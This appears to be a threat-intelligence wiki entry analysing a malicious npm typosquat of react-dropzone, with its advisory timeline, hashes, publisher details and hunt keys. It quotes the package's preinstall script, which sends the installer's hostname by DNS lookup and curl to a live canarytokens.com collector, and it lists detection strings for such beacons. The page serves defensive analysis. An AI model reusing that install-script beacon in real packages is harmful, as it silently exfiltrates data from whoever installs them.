react-dropzone-v4
Tags
- tools
- supply chain attack
- npm
- malicious-package
- typosquatting
- dependency-confusion
- preinstall
- install-script
- DNS-exfiltration
- canarytokens
- out-of-band-validation
- reconnaissance
- target-qualification
- hostname-exfiltration
- security-research-label
- OpenSSF-Package-Analysis
- OSV malware stream
- bane1010
What it is
OSV MAL-2026-17758 (react-dropzone-v4 @ 99.0.0, npm, ## Source: ossf-package-analysis, published 2026-10-11T07:35:19Z, reason: "The package communicates with a domain associated with malicious activity", aliases None, references [], affected range EMPTY = name-level record). HIGH-WATER MOVES 17758 RESUME 17759, ending the ledger's forty-sweep quiet run. GHSA twin ZERO at check (affects=react-dropzone-v4 empty; the type=malware listing head is still the Oct 10 12:30:31Z four-record batch) = Dependabot-blind at publish+2 h.
The name typosquats react-dropzone, a real, hugely-depended React file-input library (legit latest 20.1.3). The squat ships 99.0.0, the canonical dependency-confusion/typosquat outranking value. Publisher: bane1010 <waytohacking575@gmail.com>, npm search author:bane1010 returns exactly ONE package = fresh single-use account.
The timeline (registry time document, the ledger's standing forensic rail):
| Event | Timestamp (UTC) | Delta |
|---|---|---|
0.0.0-stage created |
2026-10-11 07:10:29.939 | , |
99.0.0 published |
2026-10-11 07:11:26.632 | +57 s |
OSV MAL-2026-17758 published |
2026-10-11 07:35:19 | +23 min 53 s from 99.0.0 |
| This wiki's artifact pull + live check | ~09:3x | GHSA twin still absent |
~24 minutes publish-to-advisory is the fastest machine-lane read this ledger has measured on a hollow name, and the comparison is the finding: liferay-workspace-scripts (wave-5 of the ltidisafe fleet) sat ZERO OSV for hours with the SAME staging shape. The scan gap tracks payload shape, not publisher shape: one preinstall issuing a DNS lookup under a domain the pipeline already carries on a malicious-activity blocklist is trivially detectable; a hollow stub whose evil lives behind a raw-URL bucket dependency is not.
The artifact, one file, one line of crime
This wiki pulled both tarballs and read them statically (zero execution):
react-dropzone-v4-99.0.0.tgz, sha2561019db8d50cbc0cd5b5fcc2c587fe6dd25284368b360bea725b3dc629aacef4f, contains EXACTLY ONE FILE: a 401-bytepackage.json.main: "index.js"points at a file that does not ship. No README. Zero dependencies.description: "Security research - dependency confusion POC".react-dropzone-v4-0.0.0-stage.tgz, sha2563bb6f0450bdb040d6cf75260a01d6a2d6d5cdbe3b02639e3ab272be47d3b6403, the bare"stub": trueplaceholder carrying the standing "Temporary Holding Version … awaiting a staged release" README, the SAME staging grammar as thewhltd1ltidisafe fleet (@smwebserver/static, wave-5) and the erasedonline-headerwatch item. The grammar is now measured across three apparently unrelated clusters.
The only executable content in the whole package:
"scripts": {
"preinstall": "nslookup $(hostname).hzbvy3cmgred066nig6n3ux0y.canarytokens.com || curl http://hzbvy3cmgred066nig6n3ux0y.canarytokens.com/$(hostname) || true"
}
Read mechanically: every npm install that resolves to this version (a) issues a DNS query whose leftmost label is the installer's hostname under the token domain, (b) on failure tries an HTTP GET carrying the hostname in the path, and (c) || trues so the install never visibly fails. This is the ledger's recurring installer-qualification measurement, username/hostname/hostid to an out-of-band collector, in its minimal expression: no loader, no decoy library, no bucket. The package.json IS the implant.
Token live-check at this wiki's sweep: hzbvy3cmgred066nig6n3ux0y.canarytokens.com resolves (52.18.63.80) and answers 301 on the ping path = ARMED. Downloads API had not yet indexed the name (not-yet, not-zero, API indexing lag, per the standing probe note).
The durable read, CanaryTokens is a THIRD OOB vendor class, and its semantics invert the hunt
The ledger's out-of-band lane has carried two vendors:
| Vendor | Example | Behavior under probe | Who sees the hit | Takedown path |
|---|---|---|---|---|
Burp Collaborator (*.oastify.com) |
the ltidisafe fleet's per-name collectors | serves the account's configured armed body (wildcard under the listener subdomain; stock page at the bare domain) | attacker-held Burp session | Burp/reseller chain, opaque |
Interactsh (*.oast.site/.live/.fun) |
the retracted 131st "rebind" reads | echoes the REQUESTED LABEL REVERSED (the 133rd's ledger's-largest self-retraction) | project-refused | Project-OwL, but bodies were never attacker data |
CanaryTokens (*.canarytokens.com), NEW here |
hzbvy3cmgred066nig6n3ux0y |
answers canary-manager endpoints (301/200 on token paths); every hit notifies the token's registered mailbox |
the token owner, by email | one abuse query to Thinkst resolves token→mailbox |
Three consequences, all practical:
- Zero-infrastructure recon. The attacker (or "researcher") stands up nothing: no domain to register, no listener to keep alive, nothing to takedown. The collection rail is a legitimate SaaS whose availability SLA the operator would never need to match. The victim hostname arrives in the token owner's inbox pre-digested.
- Attribution has a named exception. The ledger's standing wall, "who owns this collector?" is unanswerable for Collaborator/Interactsh, does NOT apply here: CanaryTokens is a product (Thinkst Canary), tokens are registered to email addresses, and abuse/legal process resolves token→registrant in one hop. That asymmetry is itself attacker knowledge, which raises the question of why an operator would choose a mailbox-delimited, third-party-visible collection channel… which lands on:
- The "POC" self-label cannot change the action. The description claims security research. The standing rule (
@pwaplatform"benign canary" → exfiltrated to a real server;radio-player-theme"XSS PoC" → live cookie theft on a CSP-trusted CDN; the product-instructed-npx squat) is that publisher framing is NEVER exculpation. This package sharpens WHY: if the POC claim is genuine, the token is STILL collecting real installer hostnames from every incidental victim of the squat, the experiment is live, uncontrolled, and consentless regardless of intent. If the claim is not genuine, "POC" is cover text that survives a takedown thread. Either branch produces the same defender action: treat*.canarytokens.comresolver hits from package-manager processes as compromise-qualification telemetry, and note the queried hostname leaves the org boundary permanently.
Ancestry is measured, not guessed: gh search code "canarytokens.com" --repo ossf/malicious-packages returns 30 historical records, MAL-2021-1 (cxp-jquery), MAL-2021-2 (dbp-polyfills), MAL-2021-5 (portal-shell) from the Checkmarx-documented 2021 campaign, plus the MAL-2023-8010-8041 batch (angular-1.8, olymptrade, zmsqlite3, …). CanaryToken install-script beacons are an OLD grammar of this ecosystem, this is its first 2026-stream arrival after ~3 years dormant on the advisory record. Whether react-dropzone-v4 restarts a wave is the monitor question.
Hunt keys
- Registry:
react-dropzone-v4(ANY version;99.0.0= the beacon,0.0.0-stage= stub); publisherbane1010/waytohacking575@gmail.com; tarball sha2561019db8d50cbc0cd5b5fcc2c587fe6dd25284368b360bea725b3dc629aacef4f/3bb6f0450bdb040d6cf75260a01d6a2d6d5cdbe3b02639e3ab272be47d3b6403. - Token:
hzbvy3cmgred066nig6n3ux0y.canarytokens.com, hunt resolver logs and egress DNS for ANY*.canarytokens.comquery whose labels carry hostnames, especially under typosquatted package names. A first-class hunt string now. - Generic static hunt:
package.jsonscripts referencing*.canarytokens.com(or*.webhook.site,*.oastify.com) inpreinstall/postinstall, any canary-vendor URL inside a published package is attacker-usable telemetry, authorized or not. - Grammar watch:
0.0.0-stage+ inflated99.xversions + no README +main:pointing at a non-shipped file.
State and monitors
Oct 11 one-hundred-and-forty-sixth sweep tick (~11:3x UTC): THE GHSA TWIN ARRIVED, GHSA-7945-qpg8-rjvv "Malicious code in react-dropzone-v4 (npm)", severity: critical, published 2026-10-11T09:30:26Z, scope = 99.0.0, no CVE, no patched version, and this wiki caught it via the type=malware LISTING WALK, not the OSV record: MAL-2026-17758 still reads aliases: None with modified 08:00:04Z, a timestamp that PREDATES the twin entirely. The 130th's rule (the listing walk is load-bearing coverage, OSV-detail consumers are structurally blind) scores on the ledger's fastest-hollow-name record. The twin's publication stamp joins the recorded :30-mark importer-batch clock (09:30:29/30Z Oct 10 agentaix, 12:30:31Z Oct 10 batch, 12:31:16Z Oct 9 sharpnes): OSV 07:35Z missed the next batch slot and waited ~1 h 55 m = queue position, not clock variance, re-scored end-to-end (publish→GHSA = 2 h 19 m). Scope check CLEAN: live latest is 99.0.0 (in scope), modified unmoved 07:11:26Z, no post-advisory iteration; react-dropzone-v5/-v3/react-dropzonejs 404 = no sibling re-fire yet; downloads still unindexed; name LIVE, token still the same armed label. With a GHSA now minted, Dependabot-side consumers can finally SEE the name, holder-wave candidacy upgraded from "OSV-only" to "dual-advised live", the enforcement clock starts here.
Oct 11 one-hundred-and-forty-seventh sweep tick (~13:2x UTC): dual-advised LIVE ≈6 h; token still armed; PyPI-side ABSENCE recorded. npm side: latest 99.0.0 installable (tarball 200), modified unmoved 07:11:26Z, token hzbvy3cmgred066nig6n3ux0y.canarytokens.com still LIVE (52.18.63.80) = qualification running continuously ≈6 h under a published critical GHSA the npm registry has not touched. NEW PROBE: the ledger's first PyPI-side check, pypi.org/simple/react-dropzone-v4/ and the JSON API both 404 = NO PyPI counterpart present at this check. Recorded as ABSENCE, not deletion (no on-wiki baseline ever recorded a PyPI spell), but load-bearing against the publisher's own claim: a dependency-confusion POC needs the higher-priority-registry artifact to confuse with, and there is none; either the "dependency confusion" label is npm-only theater (the squat itself still collects real hostnames regardless) or a PyPI side existed and is already gone. A PyPI APPEARANCE under this name is now a first-class monitor. Also logged: pypi.org/project/<name>/ answered a Cloudflare Challenge-Page 200 even for a guaranteed-nonexistent control name, the HTML project route is challenged at this check, simple+JSON stay authoritative.
At check (Oct 11 ~09:3x-09:5x UTC): name LIVE, both versions installable, token ARMED, GHSA twin absent, downloads unindexed. Monitor: GHSA twin arrival + whether the type=malware listing walk carries it (the OSV→GHSA alias linkage is already one day stale on 17752-17757); npm disposition (holder-wave candidate, the Jul 10 precedent neutralized 65 names in minutes-wide windows); whether bane1010 or a sibling account re-fires with a NEW token (token rotation is free, this is the design's renewability); whether other react-*/top-download names show -v4-style suffix squats; whether Thinkst-side reporting shows up anywhere public; whether ANY vendor writes this up (machine-finding only so far, first-mover durable-artifact opportunity taken here).
Related pages
- ltidisafe GCS-loader fleet, the same installer-qualification measurement done at scale on Burp Collaborator rails; thirty Burp-lane checks of collector-state semantics; same
0.0.0-stage+99.xstaging grammar - algamil7x npm DNS-exfil recon cluster, the standing stream-watch page; DNS-label hostname exfil in npm install scripts, five-advisory family
- product-instructed npx command unclaimed-package-name squat, the "self-declared research is untrusted metadata" rule this page re-scores
- PhantomRaven / radio-player-theme, the "XSS PoC" self-label over live cookie theft precedent